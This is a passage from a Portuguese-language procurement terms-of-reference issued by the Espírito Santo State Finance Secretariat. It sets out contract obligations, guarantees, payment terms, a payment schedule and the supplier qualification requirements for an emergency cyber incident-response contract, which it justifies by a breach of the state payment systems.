- 7.1.8. Notificar a CONTRATADA, por escrito, sobre vícios, defeitos, ou incorreções verificadas no objeto fornecido, para que seja por eles substituído, reparado ou corrigido, no total ou em parte, as suas expensas, fixando prazo para sua correção.
- 7.1.9. Comunicar a CONTRATADA para emissão de Nota Fiscal no que for pertinente a parcela incontroversa da execução do objeto, para efeito de liquidação e pagamento, quando houver controvérsia sobre a execução do objeto, quanto a dimensão, qualidade e quantidade, conforme, o Art. 143 da Lei Federal 14.133/21.



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

- 7.1.10. Acompanhar e Fiscalizar a execução do contrato por servidor especialmente designado, anotando em registro próprio as falhas detectadas durante a execução, indicando o dia, mês e ano, bem como o nome dos empregados eventualmente envolvidos, encaminhando os apontamentos autoridade competente para as providências cabíveis, e exigindo o cumprimento de todas as obrigações assumidas pela CONTRATADA, de acordo com este Termo de Referência, o Contrato e seus Anexos.
- 7.1.11. Explicitamente emitir decisão sobre todas as solicitações e reclamações relacionadas a execução do presente contrato, ressalvados os requerimentos manifestamente impertinentes, meramente protelatórios ou de nenhum proveito para boa execução do contrato.
- 7.1.12. Efetuar as retenções tributárias devidas, sobre o valor da Nota Fiscal / Fatura fornecida.
- 7.1.13. Não renumerar ou pagar, em hipótese alguma, despesas com diárias e passagens a CONTRATADA.
- 7.1.14. Permitir o livre acesso dos empregados e preposto da CONTRATADA, sempre que necessário, de forma que os serviços possam ser executados a contento.
- 7.1.15. A Administração não responderá por quaisquer compromissos assumidos pela CONTRATADA com terceiros, ainda que vinculados a execução do contrato, bem como por qualquer dano causado a terceiros em decorrências de ato da CONTRATADA, de seus empregados, prepostos ou subordinados.
- 7.2. Das obrigações da contratada:**
- 7.2.1. Executar os serviços conforme especificações no Termo de Referência, para o perfeito funcionamento das Cláusulas contratuais, além de disponibilizar todos os meios de acesso ao cumprimento total da obrigação.
- 7.2.2. Responsabilizar-se pelos vícios e danos decorrentes da execução do objeto ficando a contratante autorizada a descontar a garantia, caso exigida, ou dos pagamentos devidos à CONTRATADA, valor resultante dos danos sofridos.
- 7.2.3. Utilizar empregados habilitados e com conhecimentos adequados para a prestação dos serviços a serem executados, em conformidade com as normas e determinações em vigor.
- 7.2.4. Apresentar à CONTRATANTE quando for o caso, a relação nominal dos empregados que adentrarão no órgão para execução do serviço.
- 7.2.5. Responsabilizar-se por todas as obrigações trabalhistas, sociais, previdenciárias, tributárias e as demais previstas em legislação específica, cuja inadimplência não transfere responsabilidade a contratante.
- 7.2.6. Instruir seus empregados quanto à necessidade de acatar as normas internas da Administração.



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

- 7.2.7. Instruir seus empregados a respeito das atividades a serem desempenhadas alertando-os a não executar atividades não abrangidas pelo contrato, devendo a CONTRATADA relatar à CONTRATANTE toda e qualquer ocorrência neste sentido, a fim de evitar desvio de função.
- 7.2.8. Relatar à CONTRATANTE toda e qualquer irregularidade verificada no decorrer da prestação de serviços.
- 7.2.9. Não permitir a utilização de qualquer trabalho do menor de dezesseis anos, exceto na condição de aprendiz para os maiores de quatorze anos, nem permitir a utilização de menor de dezoito anos em trabalho noturno, perigoso ou insalubre.
- 7.2.10. Manter durante toda a vigência do contrato todas as condições de contratação de habilitação exigidas para a contratação.
- 7.2.11. Guardar sigilo sobre todas as informações obtidas em decorrência do cumprimento do contrato.

7.3. Da Garantia de Execução

- 7.4. A contratação conta com garantia da contratação, nos moldes do art. 96 da Lei nº 14.133/2021, em valor correspondente a 5% (cinco por cento) do valor inicial do contrato.
- 7.5. O contratado apresentará, no prazo máximo de 10 dias, prorrogáveis por igual período, a critério do contratante, contado da vigência do contrato, comprovante de prestação de garantia, quando optar por caução em dinheiro ou títulos da dívida pública ou, ainda, pela fiança bancária, em valor correspondente a 5% (cinco por cento) do valor inicial do contrato.
- 7.6. Em caso opção pelo seguro-garantia, a parte adjudicatária deverá apresentá-la, no máximo, até a data de assinatura do contrato.
- 7.7. Caso utilizada a modalidade de seguro-garantia, a apólice deverá ter validade durante a vigência do contrato e por 30 dias após o término da vigência contratual, permanecendo em vigor mesmo que o contratado não pague o prêmio nas datas convenionadas.
- 7.8. A apólice do seguro garantia deverá acompanhar as modificações referentes à vigência do contrato principal mediante a emissão do respectivo endosso pela seguradora.
- 7.9. Será permitida a substituição da apólice de seguro-garantia na data de renovação ou de aniversário, desde que mantidas as condições e coberturas da apólice vigente e nenhum período fique descoberto, ressalvado o disposto no item 4.9 deste contrato.
- 7.10. Na hipótese de suspensão do contrato por ordem ou inadimplemento da Administração, o contratado ficará desobrigado de renovar a garantia ou de endossar a



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

apólice de seguro até a ordem de reinício da execução ou o adimplemento pela Administração.

7.11. A garantia assegurará, qualquer que seja a modalidade escolhida, o pagamento de:

7.11.1. Prejuízos advindos do não cumprimento do objeto do contrato e do não adimplemento das demais obrigações nele previstas;

7.11.2. Multas moratórias e punitivas aplicadas pela Administração à contratada; e

7.11.3. Obrigações trabalhistas e previdenciárias de qualquer natureza e para com o FGTS, não adimplidas pelo contratado, quando couber.

7.12. A modalidade seguro-garantia somente será aceita se contemplar todos os eventos indicados no item acima, observada a legislação que rege a matéria.

7.13. A garantia em dinheiro deverá ser efetuada em favor do contratante, em conta específica, aberta pela contratante, com correção monetária.

7.14. Caso a opção seja por utilizar títulos da dívida pública, estes devem ter sido emitidos sob a forma escritural, mediante registro em sistema centralizado de liquidação e de custódia autorizado pelo Banco Central do Brasil, e avaliados pelos seus valores econômicos, conforme definido pelo Ministério da Economia.

7.15. No caso de garantia na modalidade de fiança bancária, deverá ser emitida por banco ou instituição financeira devidamente autorizada a operar no País pelo Banco Central do Brasil, e deverá constar expressa renúncia do fiador aos benefícios do artigo 827 do Código Civil.

7.16. No caso de alteração do valor do contrato, ou prorrogação de sua vigência, a garantia deverá ser ajustada ou renovada, seguindo os mesmos parâmetros utilizados quando da contratação.

7.17. Se o valor da garantia for utilizado total ou parcialmente em pagamento de qualquer obrigação, o Contratado obriga-se a fazer a respectiva reposição no prazo máximo de 10 (dez) dias úteis, contados da data em que for notificada.

7.18. O Contratante executará a garantia na forma prevista na legislação que rege a matéria.

7.18.1. O emitente da garantia ofertada pelo contratado deverá ser notificado pelo contratante quanto ao início de processo administrativo para apuração de descumprimento de cláusulas contratuais (art. 137, § 4º, da Lei n.º 14.133/2021).

7.18.2. Caso se trate da modalidade seguro-garantia, ocorrido o sinistro durante a vigência da apólice, sua caracterização e comunicação poderão ocorrer fora desta vigência, não caracterizando fato que justifique a negativa do sinistro, desde que respeitados os prazos prescricionais aplicados ao contrato de seguro, nos termos do art. 20 da Circular Susep n.º 662, de 11 de abril de 2022.



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

7.19. Extinguir-se-á a garantia com a restituição da apólice, carta fiança ou autorização para a liberação de importâncias depositadas em dinheiro a título de garantia, acompanhada de declaração do contratante, mediante termo circunstanciado, de que o contratado cumpriu todas as cláusulas do contrato;

7.20. A garantia somente será liberada ou restituída após a fiel execução do contrato ou após a sua extinção por culpa exclusiva da Administração e, quando em dinheiro, será atualizada monetariamente.

7.21. O garantidor não é parte para figurar em processo administrativo instaurado pelo contratante com o objetivo de apurar prejuízos e/ou aplicar sanções à contratada.

7.21.1. O contratado autoriza o contratante a reter, a qualquer tempo, a garantia, na forma prevista neste Contrato.

8. CRITÉRIOS DE MEDIÇÃO E DE PAGAMENTO

8.1. Do recebimento

8.1.1. Os itens 1.1, 1.2, 2.1, 2.2, 3.1 e 3.2, deverão ser recebidos em até 5 (cinco) dias após o fornecimento, instalação e ativação das soluções e apresentação das evidências que demonstrem a sua funcionalidade.

8.1.2. O item 4.1 deverá ser recebido em até 5 (cinco) dias após a conclusão do assessment e apresentação do Relatório de políticas e configurações da Solução F5.

8.1.3. Os itens 1.3, 2.3, 4.2 e 5 serão recebidos mensalmente mediante entrega do Relatório De Atividades e Incidentes Registrados.

8.1.4. Todos os serviços serão recebidos provisoriamente, de forma sumária, no ato da entrega, , pelo fiscal ou comissão designada, consignando em relatório informações sobre a simples conferência da conformidade do que foi contratado, em especial do quantitativo, marca e modelo e demais informações constantes na nota fiscal.

8.1.5. Os serviços poderão ser rejeitados, no todo ou em parte, inclusive antes do recebimento provisório, quando em desacordo com as especificações constantes no Termo de Referência e na proposta, devendo ser corrigidos no prazo de 5 (cinco) dias, a contar da notificação formal por escrito à contratada, às suas custas, sem prejuízo da aplicação das penalidades cabíveis.

8.1.6. Caso haja irregularidades que impeçam o recebimento provisório, o fiscal, conforme o caso, deverá solicitar ao contratado, por escrito, as respectivas correções.

8.1.7. Após o recebimento provisório, o fiscal deverá manifestar-se quanto ao cumprimento das exigências técnicas e à conformidade das entregas, com vistas a subsidiar o gestor do contrato no procedimento de recebimento



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

definitivo, observados os prazos e condições estabelecidos na Ordem de Serviço.

- 8.1.8. O prazo para o recebimento definitivo poderá ser excepcionalmente prorrogado, de forma devidamente justificada, quando houver necessidade de diligências adicionais para aferição do atendimento das exigências contratuais.
- 8.1.9. Estando todos os serviços em conformidade com o disposto no contrato, neste Termo de Referência e seus anexos, o Gestor do contrato ou Comissão designada para tal, lavrará o Termo Definitivo de Recebimento e solicitará à CONTRATADA emissão da Nota Fiscal.
- 8.1.10. Na hipótese de controvérsia quanto à execução do objeto, especialmente em relação à dimensão, à qualidade ou à quantidade dos serviços, deverá ser observado o disposto no art. 143 da Lei nº 14.133/2021, possibilitando-se a liquidação e o pagamento da parcela incontroversa da execução.
- 8.1.11. O prazo destinado à correção de inconsistências na execução dos serviços ou ao saneamento da Nota Fiscal ou instrumento de cobrança equivalente, identificadas pela Administração durante a análise prévia à liquidação da despesa, não será computado para fins de recebimento definitivo.
- 8.1.12. O recebimento provisório ou definitivo não exclui a responsabilidade civil da contratada, nem a responsabilidade técnico-profissional pela perfeita execução do objeto contratual.
- 8.1.13. O recebimento provisório poderá ser dispensado quando, em razão da simplicidade do objeto ou da natureza da entrega, a fiscalização puder emitir diretamente o Termo de Aceite definitivo.
- 8.1.14. Para fins de exame da Nota Fiscal, o fiscal deverá verificar se a nota fiscal ou instrumento de cobrança equivalente apresentado expressa os elementos necessários e essenciais do documento, tais como:
- 8.1.14.1. O prazo de validade;
 - 8.1.14.2. A data da emissão;
 - 8.1.14.3. Os dados do contrato e do órgão contratante;
 - 8.1.14.4. O período respectivo de execução do contrato;
 - 8.1.14.5. O valor a pagar; e
 - 8.1.14.6. Eventual destaque do valor de retenções tributárias cabíveis.
- 8.1.15. Havendo erro na apresentação da nota fiscal ou instrumento de cobrança equivalente, ou circunstância que impeça a liquidação da despesa, esta ficará sobrestada até que o contratado providencie as medidas saneadoras, reiniciando-se o prazo após a comprovação da regularização da situação, sem ônus ao contratante;



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

- 8.1.16. A nota fiscal ou instrumento de cobrança equivalente deverá ser obrigatoriamente acompanhado da comprovação da regularidade fiscal.
- 8.1.17. O Contratado deverá apresentar nota fiscal/fatura que registre o valor dos bens/serviços, o valor líquido da nota e o valor dos impostos sujeitos a retenção na fonte, inclusive o ISSQN (quando for o caso) e o destaque do Imposto de Renda na Fonte (conforme disposto na IN/RFB 1.234/2012, ou a que vier a substituí-la, e no Decreto Estadual 5.460-R/2023), os quais serão retidos e recolhidos diretamente pela Administração contratante.
- 8.1.18. Nota Explicativa: Poderá ser consultado "Manual sobre a retenção de IR no pagamento de bens e serviços dos Órgãos estaduais", publicado pela SEFAZ.

8.2. Do Prazo de Pagamento

- 8.2.1. O pagamento será efetuado no prazo máximo de até 10 (dez) dias úteis, contados do recebimento da nota fiscal, nos termos do art. 31 do Decreto Estadual nº 5545-R/2023.
- 8.2.2. Ao enviar a solicitação de pagamento, o gestor do contrato deve especificar a data de vencimento da obrigação.
- 8.2.3. Decorrido o prazo indicado no item anterior, incidirá multa financeira nos seguintes termos:

$$VM = VF \times \frac{12}{100} \times \frac{ND}{360}$$

Onde:

VM = Valor da Multa Financeira.

VF = Valor da Nota Fiscal referente ao mês em atraso.

ND = Número de dias em atraso.

- 8.2.4. Incumbirão à Contratada a iniciativa e o encargo do cálculo minucioso da fatura devida, a ser revisto e aprovado pela Contratante, juntando-se o cálculo da fatura.
- 8.2.5. A liquidação das despesas obedecerá rigorosamente ao estabelecido na Lei 4.320/1964, assim como na Lei Estadual 2.583/1971.
- 8.2.6. Se houver alguma incorreção na Nota Fiscal/Fatura, a mesma será devolvida à Contratada para correção, ficando estabelecido que o prazo para pagamento será contado a partir da data de apresentação na nova Nota Fiscal/Fatura, sem qualquer ônus ou correção a ser paga pela Contratante.

8.3. Da Forma de Pagamento

- 8.3.1. Os itens 1.1, 1.2, 2.1, 2.2, 3.1, 3.2 e 4.1, serão pagos de forma integral em parcela única após a sua conclusão.



GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA



SECRETARIA DE ESTADO DA FAZENDA
Gerência de Tecnologia da Informação

- 8.3.2. Os itens 1.3, 2.3, 4.2 e 5 serão pagos mensalmente, no mês subsequente à prestação dos serviços, mediante apresentação do Relatório Mensal de Atividades e Incidentes.
- 8.3.3. O pagamento será realizado por meio de ordem bancária, para crédito em banco, agência e conta corrente indicados pelo contratado.
- 8.3.4. Será considerada data do pagamento o dia em que constar como emitida a ordem bancária para pagamento.
- 8.3.5. Quando do pagamento, será efetuada a retenção tributária prevista na legislação aplicável.
- 8.3.6. Independentemente do percentual de tributo inserido na planilha, quando houver, serão retidos na fonte, quando da realização do pagamento, os percentuais estabelecidos na legislação vigente.
- 8.3.7. O contratado regularmente optante pelo Simples Nacional, nos termos da Lei Complementar nº 123/2006, não sofrerá a retenção tributária quanto aos impostos e contribuições abrangidos por aquele regime. No entanto, o pagamento ficará condicionado à apresentação de comprovação, por meio de documento oficial, de que faz jus ao tratamento tributário favorecido previsto na referida Lei Complementar.

8.4. Do Cronograma de Execução do objeto

Item	Mês 1			Mês 2	Mês 3	Mês 4	Mês 5	Mês 6
	Licenciamento	Ativação	Serviços	Serviços	Serviços	Serviços	Serviços	Serviços
1.1	646.279,82	-----	-----	-----	-----	-----	-----	-----
1.2	-----	40.831,76	-----	-----	-----	-----	-----	-----
1.3	-----	-----	16.085,35	16.085,35	16.085,35	16.085,35	16.085,35	16.085,35
2.1	865.018,00	-----	-----	-----	-----	-----	-----	-----
2.2	-----	40.752,50	-----	-----	-----	-----	-----	-----
2.3	-----	-----	6.963,56	6.963,56	6.963,56	6.963,56	6.963,56	6.963,56
3.1	122.882,76	-----	-----	-----	-----	-----	-----	-----
3.2	-----	2.244,25	-----	-----	-----	-----	-----	-----
4.1	-----	61.247,64	-----	-----	-----	-----	-----	-----
4.2	-----	-----	23.800,92	23.800,92	23.800,92	23.800,92	23.800,92	23.800,92
5	-----	-----	124.313,42	124.313,42	124.313,42	124.313,42	124.313,42	124.313,42
TOTAL	1.834.180,58	146.078,16	171.183,26	171.183,26	171.183,26	171.183,26	171.183,26	171.183,26
		1.960.419,98						

- 8.4.1. Os objetos na tabela acima serão pagos conforme a natureza da execução de cada item, vedada a antecipação de despesa.

9. FORMA E CRITÉRIOS DE SELEÇÃO DO FORNECEDOR E FORMA DE FORNECIMENTO

9.1. Forma de Seleção e Critério de Julgamento da Proposta

- 9.1.1. O fornecedor será selecionado por meio de dispensa de Licitação, com fundamento no art. 75, inciso VIII e § 6º da Lei nº. 14.133/2021:



GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

VIII - **nos casos de emergência** ou de calamidade pública, quando caracterizada urgência de atendimento de situação que possa ocasionar prejuízo ou comprometer a continuidade dos serviços públicos ou a segurança de pessoas, obras, serviços, equipamentos e outros bens, públicos ou particulares, e somente para aquisição dos bens necessários ao atendimento da situação emergencial ou calamitosa e para as parcelas de obras e serviços que possam ser concluídas no prazo máximo de 1 (um) ano, contado da data de ocorrência da emergência ou da calamidade, vedadas a prorrogação dos respectivos contratos e a recontração de empresa já contratada com base no disposto neste inciso;

§ 6º Para os fins do inciso VIII do caput deste artigo, considera-se emergencial a contratação por dispensa com objetivo de manter a continuidade do serviço público, e deverão ser observados os valores praticados pelo mercado na forma do art. 23 desta Lei e adotadas as providências necessárias para a conclusão do processo licitatório, sem prejuízo de apuração de responsabilidade dos agentes públicos que deram causa à situação emergencial.

- 9.1.2. Conforme descrito neste Termo de Referência, o evento identificado envolveu tentativas de execução de ordens bancárias fraudulentas em montante expressivo, associadas a acessos indevidos e movimentação lateral em sistemas críticos, evidenciando risco concreto e imediato à integridade dos ativos de informação e à operação financeira do Estado.
- 9.1.3. Além de possíveis prejuízos ao erário, oriundos de transferências ilegais e fraudulentas, conforme demonstrado nos tópicos 2.2 e subsequentes, A invasão cibernética em tela atingiu o núcleo do processamento financeiro desta Secretaria, exigindo o isolamento preventivo dos servidores que gerenciam a emissão de Ordens Bancárias (OBs). Esta medida, embora necessária para conter as transferências fraudulentas, resultou na interrupção total dos pagamentos legítimos programados pelo Poder Executivo Estadual.
- 9.1.4. A Impossibilidade de processar pagamentos a fornecedores, prestadores de serviços essenciais (saúde, segurança e educação) e obrigações tributárias/previdenciárias sujeita o Estado do Espírito Santo à incidência de juros de mora e multas contratuais. Portanto, a demora na remediação do ambiente cibernético gera um dano financeiro direto e crescente ao Erário, que só pode ser estancado com a restauração da integridade dos sistemas pela contratada.
- 9.1.5. A manutenção da paralisação do sistema de pagamentos compromete a adimplência do Estado frente a contratos de manutenção de hospitais, presídios e fornecimento de insumos básicos. A contratação emergencial justifica-se, assim, não apenas pela segurança dos dados, mas pela urgência em restabelecer a continuidade administrativa, fundamento basilar do interesse público.



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

- 9.1.6. Logo, de forma pragmática, resta configurado o nexa causal entre o evento crítico (ataque hacker), a necessidade de interrupção dos sistemas de pagamento para proteção do patrimônio e a indispensabilidade de contratação de serviço especializado capaz de realizar a investigação forense e a limpeza do ambiente no menor tempo possível, visando a retomada das operações financeiras estaduais.
- 9.1.7. Nesse contexto, a realização de procedimento licitatório ordinário mostra-se incompatível com a urgência exigida, uma vez que os prazos inerentes às fases de publicação, recebimento de propostas, julgamento e homologação poderiam resultar na ampliação do incidente, na exploração continuada de vulnerabilidades e em potenciais danos irreversíveis.
- 9.1.8. A contratação direta, portanto, configura-se como o meio adequado, proporcional e necessário para viabilizar resposta imediata, contenção do incidente, preservação de evidências digitais e restabelecimento seguro dos sistemas afetados, limitando-se estritamente ao atendimento da situação emergencial, em conformidade com os princípios da eficiência, da continuidade do serviço público e da supremacia do interesse público.

9.2. Da Forma de Fornecimento

- 9.2.1. O fornecimento do objeto será continuado no regime de empreitada por preço global.
- 9.2.2. O fornecimento será continuado à medida em que sanados os efeitos do incidente em curso, faz se necessário o monitoramento do ambiente por prazo suficiente a fim de mitigar o risco de persistência e reincidência do ataque realizado, sendo sua continuidade preponderantes para a Segurança dos ativos de tecnologia e de informação da SEFAZ assim como para preservação do erário público e dos serviços essenciais prestados à sociedade pelo.
- 9.2.3. A contratação pelo regime de Empreitada por Preço Global reside no fato do serviço objeto ser perfeitamente definido por meio de ferramentas e frameworks amplamente conhecidos e utilizados no mercado. Este regime permite fixar um preço total e invariável para a entrega integral do objeto, transferindo para o contratado a maior parte dos riscos de quantificação e custos, garantindo assim uma maior previsibilidade e controle orçamentário para o órgão contratante.

9.3. Das Exigências de Habilitação

- 9.3.1. A definição dos requisitos de habilitação técnica e econômico-financeira previstos no Anexo II fundamenta-se na necessidade de assegurar que o fornecedor contratado detenha capacidade comprovada para lidar com situações críticas de segurança da informação em ambientes complexos como o da SEFAZ.



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

10. ESTIMATIVAS DO VALOR DA CONTRATAÇÃO

- 10.1. A presente contratação foi estimada em R\$ 2.806.236,23 (dois milhões, oitocentos e seis mil, duzentos e trinta e seis reais e vinte e três centavos).
- 10.2. A proposta apresentada foi analisada e considerada compatível com os preços praticados no mercado, com base em propostas de outros fornecedores e também através da comparação objetiva com contratos firmados pela administração pública para objetos similares, resguardadas as proporções e a excepcionalidade da contratação emergencial.
- 10.2.1. Dada a urgência da situação já descrita e a necessidade de atuação imediata, sabendo que a pesquisa de preços será ampliada pelo setor competente, entendemos que estes elementos são suficientes para estimar o valor da contratação.
- 10.3. Ressalta-se que, em contratações emergenciais, a avaliação de preço deve considerar, além do valor nominal, fatores como:
- 10.3.1. Disponibilidade imediata;
- 10.3.2. Especialização técnica;
- 10.3.3. Criticidade do serviço.
- 10.4. Dessa forma, conclui-se que o preço é razoável, compatível com o mercado e proporcional à urgência e complexidade do objeto, atendendo ao disposto no art. 23 da Lei nº 14.133/2021.

11. ADEQUAÇÃO ORÇAMENTÁRIA

- 11.1. As despesas decorrentes da presente contratação correrão à conta de recursos específicos consignados no Orçamento que estarão dispostas em tópico específico do contrato.

12. SANÇÕES ADMINISTRATIVAS

- 12.1. As sanções estarão previstas em tópico específico do contrato.

Vitória, 10 de abril de 2026.



GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

ANEXO I - REQUISITOS DE HABILITAÇÃO

Para fins de habilitação, deverá o licitante comprovar os seguintes requisitos:

1. HABILITAÇÃO JURÍDICA

- 1.1. **Pessoa física:** cédula de identidade (RG) ou documento equivalente que, por força de lei, tenha validade para fins de identificação em todo o território nacional;
- 1.2. **Empresário individual:** inscrição no Registro Público de Empresas Mercantis, a cargo da Junta Comercial da respectiva sede;
- 1.3. **Microempreendedor Individual (MEI):** Certificado da Condição de Microempreendedor Individual - CCMEI, cuja aceitação ficará condicionada à verificação da autenticidade no sítio <https://www.gov.br/empresas-e-negocios/pt-br/empreendedor>;
- 1.4. **Sociedade empresária, sociedade limitada unipessoal ou sociedade identificada como empresa individual de responsabilidade limitada:** inscrição do ato constitutivo, estatuto ou contrato social no Registro Público de Empresas Mercantis, a cargo da Junta Comercial da respectiva sede, acompanhada de documento comprobatório de seus administradores;
- 1.5. **Sociedade empresária estrangeira:** portaria de autorização de funcionamento no Brasil, publicada no Diário Oficial da União e arquivada na Junta Comercial da unidade federativa onde se localizar a filial, agência, sucursal ou estabelecimento, a qual será considerada como sua sede, conforme Instrução Normativa DREI/ME n.º 77, de 18 de março de 2020.
- 1.6. **Sociedade simples:** inscrição do ato constitutivo no Registro Civil de Pessoas Jurídicas do local de sua sede, acompanhada de documento comprobatório de seus administradores;
- 1.7. **Filial, sucursal ou agência de sociedade simples ou empresária:** inscrição do ato constitutivo da filial, sucursal ou agência da sociedade simples ou empresária, respectivamente, no Registro Civil das Pessoas Jurídicas ou no Registro Público de Empresas Mercantis onde opera, com averbação no Registro onde tem sede a matriz;
- 1.8. **Sociedade cooperativa:** ata de fundação e estatuto social, com a ata da assembleia que o aprovou, devidamente arquivado na Junta Comercial ou inscrito no Registro Civil das Pessoas Jurídicas da respectiva sede, além do registro de que trata o art. 107 da Lei nº 5.764, de 16 de dezembro 1971.
- 1.9. **Agricultor familiar:** Declaração de Aptidão ao Pronaf – DAP ou DAP-P válida, ou, ainda, outros documentos definidos pela Secretaria Especial de Agricultura Familiar e do Desenvolvimento Agrário, nos termos do art. 4º, §2º do Decreto nº 10.880, de 2 de dezembro de 2021.



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

- 1.10. **Produtor Rural:** matrícula no Cadastro Específico do INSS – CEI, que comprove a qualificação como produtor rural pessoa física, nos termos da Instrução Normativa RFB n. 971, de 13 de novembro de 2009 (arts. 17 a 19 e 165).
- 1.11. Os documentos apresentados deverão estar acompanhados de todas as alterações ou da consolidação respectiva.

2. HABILITAÇÃO FISCAL, SOCIAL E TRABALHISTA

- 2.1. Prova de inscrição no Cadastro Nacional de Pessoas Jurídicas (CNPJ) ou no Cadastro de Pessoas Físicas (CPF), conforme o caso;
- 2.2. Prova de inscrição no cadastro de contribuintes estadual e/ou municipal relativo ao domicílio ou sede do fornecedor, pertinente ao seu ramo de atividade e compatível com o objeto contratual;
- 2.3. Caso o fornecedor seja considerado isento dos tributos estaduais ou municipais relacionados ao objeto contratual, deverá comprovar tal condição mediante a apresentação de declaração da Fazenda respectiva do seu domicílio ou sede, ou outra equivalente, na forma da lei.
- 2.4. O fornecedor enquadrado como microempreendedor individual que pretenda auferir os benefícios do tratamento diferenciado previstos na Lei Complementar 123/2006 estará dispensado da prova de inscrição nos cadastros de contribuintes estadual e municipal.
- 2.5. Prova de regularidade fiscal perante a Fazenda Nacional, mediante apresentação de certidão negativa ou positiva com efeito de negativa, expedida conjuntamente pela Receita Federal do Brasil (RFB) e pela Procuradoria-Geral da Fazenda Nacional (PGFN), referente aos créditos tributários federais e à Dívida Ativa da União por elas administrados, inclusive aqueles relativos à Seguridade Social;
- 2.6. Prova de regularidade com a Fazenda Estadual (onde for sediada a empresa e a do Estado do Espírito Santo, quando a sede não for deste Estado);
- 2.7. Prova de regularidade com a Fazenda Pública Municipal da sede da licitante;
- 2.8. Prova de regularidade com o Fundo de Garantia do Tempo de Serviço (FGTS), mediante certidão expedida pela Caixa Econômica Federal;
- 2.9. Prova de regularidade perante a Justiça do Trabalho, mediante a apresentação de certidão negativa ou positiva com efeito de negativa, nos termos do Título VII-A da Consolidação das Leis do Trabalho;
- 2.10. Caso o objeto contratual venha a ser cumprido por filial da licitante, os documentos exigidos neste item também deverão ser apresentados pela filial executora do contrato, sem prejuízo para a exigência de apresentação dos documentos relativos à sua matriz.



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

- 2.11. Nos casos de microempresas, empresas de pequeno porte ou equiparadas, não se exige comprovação de regularidade fiscal para fins de habilitação, mas somente para formalização da contratação, observadas as seguintes regras:
- 2.12. A licitante deverá apresentar, à época da habilitação, todos os documentos exigidos para efeito de comprovação de regularidade fiscal, mesmo que apresentem alguma restrição.
- 2.13. Havendo alguma restrição na comprovação da regularidade fiscal ou trabalhista, é assegurado o prazo de 5 (cinco) dias úteis, cujo termo inicial corresponderá ao momento em que o proponente for declarado vencedor do certame, para a regularização da documentação, pagamento ou parcelamento do débito, e emissão de eventuais certidões negativas ou positivas com efeito de certidão negativa.
- 2.14. O prazo a que se refere o item anterior poderá, a critério da Administração Pública, ser prorrogado por igual período.
- 2.15. Em caso de atraso por parte do órgão competente para emissão de certidões comprobatórias de regularidade fiscal, ou trabalhista, a licitante poderá apresentar à Administração outro documento que comprove a extinção ou suspensão do crédito tributário, respectivamente, nos termos dos arts. 156 e 151 do Código Tributário Nacional, acompanhado de prova do protocolo do pedido de certidão.
- 2.16. Na hipótese descrita no inciso anterior, a licitante terá o prazo de 10 (dez) dias, contado da apresentação dos documentos a que se refere o parágrafo anterior, para apresentar a certidão comprobatória de regularidade fiscal ou trabalhista.
- 2.17. O prazo a que se refere o item anterior poderá, a critério da Administração Pública, ser prorrogado por igual período, uma única vez, se demonstrado pela licitante a impossibilidade de o órgão competente emitir a certidão.
- 2.18. A formalização da contratação fica condicionada à regularização da documentação comprobatória de regularidade fiscal e trabalhista, nos termos dos incisos anteriores, sob pena de decadência do direito à contratação, sem prejuízo da aplicação das sanções legais, sendo facultado à Administração convocar as licitantes remanescentes e com elas contratar, observada a ordem de classificação, ou revogar a licitação.

3. HABILITAÇÃO TÉCNICA

- 3.1. Comprovação de aptidão para execução de serviço de complexidade equivalente ou superior com o objeto desta contratação, ou com o item pertinente, por meio da apresentação de certidões ou atestados, emitidos por pessoas jurídicas de direito público ou privado, ou regularmente emitidos pelo conselho profissional competente, quando for o caso.
- 3.2. Para fins da comprovação de que trata este subitem, os atestados deverão dizer respeito a contratos executados com as seguintes características mínimas:



GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

- 3.2.1. Resposta a incidente de segurança em ambientes de alta complexidade;
- 3.2.2. Contenção, Erradicação e Recuperação
- 3.2.3. Análise Forense Digital
- 3.3. Será admitida, para fins de comprovação de quantitativo mínimo, a apresentação e o somatório de diferentes atestados de serviços executados de forma concomitante, pois essa situação equivale, para fins de comprovação de capacidade técnico-operacional, a uma única contratação.
- 3.4. Os atestados de capacidade técnica podem ser apresentados em nome da matriz ou da filial da empresa licitante.
